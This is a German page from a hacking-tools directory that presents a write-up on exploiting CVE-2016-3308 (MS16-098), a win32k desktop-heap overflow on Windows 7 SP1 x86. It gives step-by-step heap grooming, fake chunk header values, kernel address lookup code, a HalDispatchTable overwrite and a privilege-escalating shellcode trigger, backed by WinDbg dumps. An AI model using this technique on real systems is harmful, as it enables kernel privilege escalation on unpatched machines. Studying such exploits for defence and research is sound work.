Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2016-3308 — CVE-2016-3308 nutzen, um den win32k-Desktop-Heap zu korrumpieren. | Kitploit
Tools/GitHubGitHub/jackhuyh/cve-2016-3308
SpeicherforensikSchwachstellenanalyseExploitationBinary-Exploitation
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

CVE-2016-3308 nutzen, um den win32k-Desktop-Heap zu korrumpieren.

Repository anzeigen
1212vor 9 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Nutzung von CVE-2016-3308 zur Korruption des win32k-Desktop-Heaps

Autor : @55-AA, 18. September 2016

##Einleitung

Desktop-Heap ist ein Kernel-Pool, der von win32k verwendet wird und durch eine Anwendung im Benutzermodus ausgenutzt werden kann. Hier werde ich im Detail beschreiben, wie eine zuverlässige Ausnutzung implementiert werden kann, um beliebige Adressen im Kernel zu lesen/schreiben. Dieser Bericht und die zugehörige Analyse wurden auf einer win7_sp1_x86-Installation (Build 17842) durchgeführt.

##Schwachstelle

Am 9. August 2016 veröffentlichte Microsoft MS16-098. Der verwundbare Code befindet sich in der Funktion win32k!xxxInsertMenuItem. Der Funktionsprototyp ist:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

Zuerst betrachten wir den Pseudocode des Fehlers in xxxInsertMenuItem:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

Im obigen Code: Als das 9. (ab dem 1.) Element in pMenu eingefügt wurde, wurde DesktopAlloc() aufgerufen, um ein neues pMenu->rgItems neu zu allozieren. Dann wurde MNLookUpItem() aufgerufen, um die Position des Elements in pMenu->rgItems zu ermitteln. Aber das von MNLookUpItem() zurückgegebene pItem ist ein rgItems eines anderen pSubMenu statt des pMenu. Wenn RtlMoveMemory() aufgerufen wird, würden das pItem des pSubMenu und die folgenden Bytes aufgrund der fehlerhaften Verschiebegröße überschrieben.

Im Folgenden ist der Disassemblierungscode zu dem Fehler, der einen Heap-Overwrite auslöst; er kann genutzt werden, um einen gefälschten Chunk aufzubauen:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

Um den Fehler zu verfolgen, verwende ich diese Haltepunkte in WinDbg:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

Um den Fehler auszulösen, müssen die folgenden Schritte durchgeführt werden:

  1. Ein Menü erstellen.
  2. Ein Untermenü als erstes ITEM des Menüs mit der ID 0x123 erstellen; dabei ist es notwendig, MENUITEMINFO.hbmpItem auf HBMMENU_SYSTEM zu setzen.
  3. Weitere 7 ITEMs mit IDs von 0x1001 bis 0x1007 zum Menü hinzufügen.
  4. Ein ITEM mit der ID 1 zum Untermenü hinzufügen.
  5. Weitere 8 ITEMs zum Untermenü hinzufügen, um ein tagMENU.rgItems mit 16 Slots zu erhalten. Dieser Schritt ist jedoch nicht notwendig, um den Fehler auszulösen, falls nur ein Absturz gewünscht ist.
  6. Das 9. ITEM mit der ID 0x123 zum Menü hinzufügen, sodass das erwartete RtlMoveMemory() mit falschen Parametern aufgerufen wird.

Desktop-Heap

Desktop-Heap ist ein globaler Pool, der von allen GUI-Prozessen verwendet wird. Alle GUI-Objekte wie Fenster und Menüs werden im Desktop-Heap gespeichert und vom Kernel-Heap-Allokator verwaltet. Der Kernel-Heap-Allokator verwendet vertraute Funktionen wie RtlAllocateHeap und RtlFreeHeap. Anders als der User-Mode-Heap verwendet der Desktop-Heap keine Front-End-Allokatoren, es gibt also keinen Low-Fragmentation-Heap, keine Lookaside-Liste usw. Außerdem gibt es erst ab Windows 8 eine Heap-Verschlüsselung. Im Folgenden ist die Struktur eines Chunks auf win7_sp1_x86:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Die Felder Size und PreviousSize repräsentieren die Chunk-Größe, die um HEAP_GRANULARITY_SHIFT (auf 32-Bit-Systemen als 3 definiert) Bits nach rechts verschoben ist. Das Feld Size gibt den aktuellen Chunk an, und PreviousSize den vorherigen. Das niederwertigste Bit von Flags ist normalerweise auf HEAP_ENTRY_BUSY (0x01) gesetzt, was bedeutet, dass der Chunk in Benutzung ist; andernfalls ist es 0x00.

Die folgende Abbildung zeigt die Beziehung zwischen diesen Feldern und den Chunk-Blöcken. Das zweite grün unterstrichene WORD (0x000f) repräsentiert, dass die aktuelle Chunk-Größe 0x78 Bytes beträgt. Das zweite schwarz unterstrichene WORD (0x0003) repräsentiert, dass die vorherige Chunk-Größe 0x18 Bytes beträgt, und die rot unterstrichenen WORDs (0x0001) repräsentieren, dass die aktuellen Chunks in Benutzung sind. Hier enthält die Chunk-Größe die Header-Größe; der Header ist als die obige HEAP_ENTRY-Struktur definiert.

Das wichtigste Merkmal für die Heap-Korruption ist, dass der Heap-Allokator immer den zuletzt freigegebenen Chunk zurückgibt. Das bedeutet, dass wir tatsächlich einen Chunk beliebiger Größe an einer von uns gewünschten Position allozieren können.

Korruption

Durch Ausnutzung des Fehlers kann ich einige Bytes im Desktop-Heap überschreiben. Dadurch erhalte ich einen gefälschten Chunk, der einen normalen Chunk ersetzt. Dann gebe ich den ersetzten Chunk frei, sodass der gefälschte Chunk an die Spitze der Freiliste gelangt. Anschließend wird der gefälschte Chunk wiederverwendet; ich kann beliebige Bytes in ihn schreiben. Der schreibbare Bereich überlappt mehrere normale Chunks, kann aber nicht den gesamten Kernel-Bereich abdecken. Daher muss ich in dem überlappten Bereich eine weitere Lese-/Schreib-Primitive aufbauen, die tagWND.strName ausnutzt, um an beliebige Adressen zu schreiben. Der Zeiger strName.Buffer kann uns überallhin führen, einschließlich Kernel- und Benutzerbereich. Unser Ziel ist natürlich nur die nt!HalDispatchTable.

Die folgende Abbildung zeigt den Ablauf der Heap-Veränderung:

Entsprechend der Darstellung korrumpiere ich den Desktop-Heap Schritt für Schritt und implementiere die Ausnutzung in den folgenden Phasen:

  1. Einige Fenster mit WndText-Größe 1 erstellen und FILL_HOLE_COUNT-mal schleifen, um das alte Loch zu füllen.
  2. WND_0 ~ WND_5 erstellen, um Chunk-Daten zu manipulieren.
  3. Ein Menü erstellen und ein Untermenü als erstes ITEM des Menüs mit der ID 0x123 erstellen. Dann weitere 7 ITEMs mit den IDs 0x1001~0x1007 zum Menü hinzufügen.
  4. Ein ITEM mit der ID 1 und weitere 7 ITEMs mit den IDs 0x2001~0x2007 zum Untermenü hinzufügen.
  5. Das 9. ITEM mit der ID 0x2008 zum Untermenü hinzufügen, um ein tagMENU.rgItems mit 16 Slots zu erhalten.
  6. Den Text von WND_5 auf 0x360 Bytes setzen, um das ursprüngliche Loch der Untermenü-ITEMs*8 zu füllen.
  7. Den Text von WND_1 auf 0x70 Bytes setzen; den Header des gefälschten Chunks vorbereiten.
  8. Den Text von WND_2 auf 0x70 Bytes setzen; einen Platzhalter für den gefälschten Chunk aufbauen.
  9. Den Text von WND_0 auf 0x6c0 Bytes setzen; einen Platzhalter für die zukünftigen Menü-ITEMs*16 aufbauen.
  10. Das Primitive-WND mit einer automatisch erstellten tagPROPLIST erzeugen.
  11. Das Corrupt-WND mit einer automatisch erstellten tagPROPLIST erzeugen.
  12. Den Text von WND_3 auf 0x10 Bytes setzen, für einen nächsten gefälschten Chunk, der auf den aus Schritt 8 folgt.
  13. Das Heap-Layout speichern, um es in der Beendigungsphase wiederherzustellen.
  14. Den Text von WND_0 auf 0x700 Bytes zurücksetzen, um ein 0x6c0-Loch freizugeben.
  15. Das 9. ITEM zum Menü hinzufügen; es verwendet den in Schritt 14 freigegebenen Chunk wieder, und der Fehler wird ausgelöst.
  16. Den Text von WND_2 auf 0x80 Bytes zurücksetzen, wodurch der gefälschte Chunk an die Spitze der Freiliste gelangt.
  17. Den Text von Corrupt-WND auf 0x8e0 Bytes setzen; dann wird der gefälschte Chunk wiederverwendet.
  18. Durch Setzen des Primitive-WND-Texts die Schreib-Primitive ausführen, um nt!HalDispatchTable[1] zu überschreiben.
  19. Den Shellcode durch Aufruf von NtQueryIntervalProfile auslösen.
  20. Das gespeicherte Heap-Layout wiederherstellen und beenden.

Der Schlüsselschritt in der obigen Liste für den Aufbau des Heap-Fengshui:

In Schritt 7 baue ich einen gefälschten Heap-Header in den WND_1-Text ein; er legt den zukünftigen Chunk-Zustand fest. Wie der blaue Bereich in der obigen Abbildung zeigt, überschreibt er den roten Bereich. Die Entfernung von 'Corrupt HDR' zu 'red HDR' beträgt 0x6c, das ist die Größe eines ITEM. Die Parameter sind folgende:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

In Schritt 12 baue ich den nächsten gefälschten Heap-Header in den WND_3-Text ein; dadurch glaubt der Heap-Allokator, dass diese gefälschten Chunks normal verkettet sind.

In Schritt 15 wird der Fehler ausgelöst. Durch das Hinzufügen des 9. ITEM wird die ITEMs-Liste neu allokiert, wobei der durch den WND_0-Text freigegebene Chunk wiederverwendet wird. Somit beträgt die Entfernung von 'SubMenuITEMs HDR' zu 'MenuITEMs HDR' (0x6c8+0x78+0x78) Bytes; die Daten in diesem Bereich würden durch sich selbst überschrieben. In diesem Schritt werden die Chunk-Header von WND_1, WND_2 und MenuITEMs beschädigt. Um den Prozess normal zu beenden, speichere ich einige Daten, damit ich sie in Schritt 20 wiederherstellen kann.

In Schritt 13 speichere ich einige Daten, bevor sie beschädigt werden. Da ich mich jedoch im Benutzermodus befinde, kann ich diese Daten im Kernelbereich nicht lesen. Glücklicherweise gibt es im Benutzermodus einen gemappten Abschnitt; er ist das Abbild des Desktop-Heaps. Obwohl er schreibgeschützt ist, reicht er für meinen Zweck aus. Um die Adresse des Abbildabschnitts im Benutzermodus zu erhalten, kann Win32ClientInfo verwendet werden, eine undokumentierte Struktur im TEB. Hier ist sie:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

Die Felder, die uns betreffen, sind pvDesktopBase und ulClientDelta. pvDesktopBase zeigt auf die Kernel-Adresse des Desktop-Heaps. ulClientDelta ist ein Delta-Wert, der den Offset zwischen dem Benutzermodus-Abbild und der Kernel-Adresse angibt.

Zusätzlich benötige ich eine Abbildungsbeziehung von HANDLE auf Kernel-Adresse. Es gibt eine globale Variable namens gSharedInfo, die unter win7 und später von user32.dll exportiert wird. Sie ist wie folgt definiert:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

Somit kann ich die Kernel-Adresse aus einem Handle mit der folgenden Funktion ermitteln:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

In den Schritten 17, 18 und 20 möchte ich einige Bytes in den Kernelbereich schreiben; daher nutze ich den Fenstertext. Er ist eine LARGE_UNICODE_STRING, die auf dem Desktop-Heap allokiert und einem Fensterobjekt zugeordnet ist. Wir finden sie in der tagWND-Struktur; unter win7_sp1_x86 ist ihr Offset 0x84, und der Offset 0x8c ist genau der Zeiger, den wir zum Lesen/Schreiben steuern können. Im Benutzermodus kann ich NtUserDefSetText() aufrufen, um den Text des Fensters zu setzen; der Inhalt des Texts wird an die von uns gewünschte Kernel-Adresse geschrieben.

In Schritt 19 löse ich das letzte Ziel aus, den Shellcode. Durch den Aufruf von NtQueryIntervalProfile() im Benutzermodus würde ursprünglich hal!HaliQuerySystemInformation aufgerufen werden, aber sein Funktionszeiger in der nt!HalDispatchTable wurde in Schritt 18 durch meine eigene Funktion ersetzt. Übrigens: Wenn der erste Parameter von NtQueryIntervalProfile auf 1 gesetzt wird, kommt es zu einem Kurzschluss, was auf den folgenden Code an Offset 84115505 zurückzuführen ist:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

Abgesehen davon würde jeder andere Wert den weiteren Ablauf auslösen.

Um den gesamten Korruptionsablauf bequem zu verfolgen, gebe ich einige zentrale Werte auf der Konsole aus.

Anhand der Ausgabe können wir mit WinDbg einen Blick auf das korrumpierte Desktop-Heap-Layout werfen.

Dies sind WND_1_Text und WND_2_Text in Schritt 7 und Schritt 8:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Dies ist der Zustand nach der Ausnutzung in Schritt 15:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

Dies ist der vollständige gefälschte Chunk:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

Dies ist der zweite vollständige gefälschte Chunk:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

Der ersetzte Shellcode-Zeiger:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

##Referenzen

  • Eine Analyse von MS16-098
  • Ausnutzung des win32k!xxxEnableWndSBArrows Use-after-Free-Fehlers (CVE 2015-0057) auf 32-Bit- und 64-Bit-Systemen
  • Kernel-Angriffe über User-Mode-Callbacks
Tool herunterladen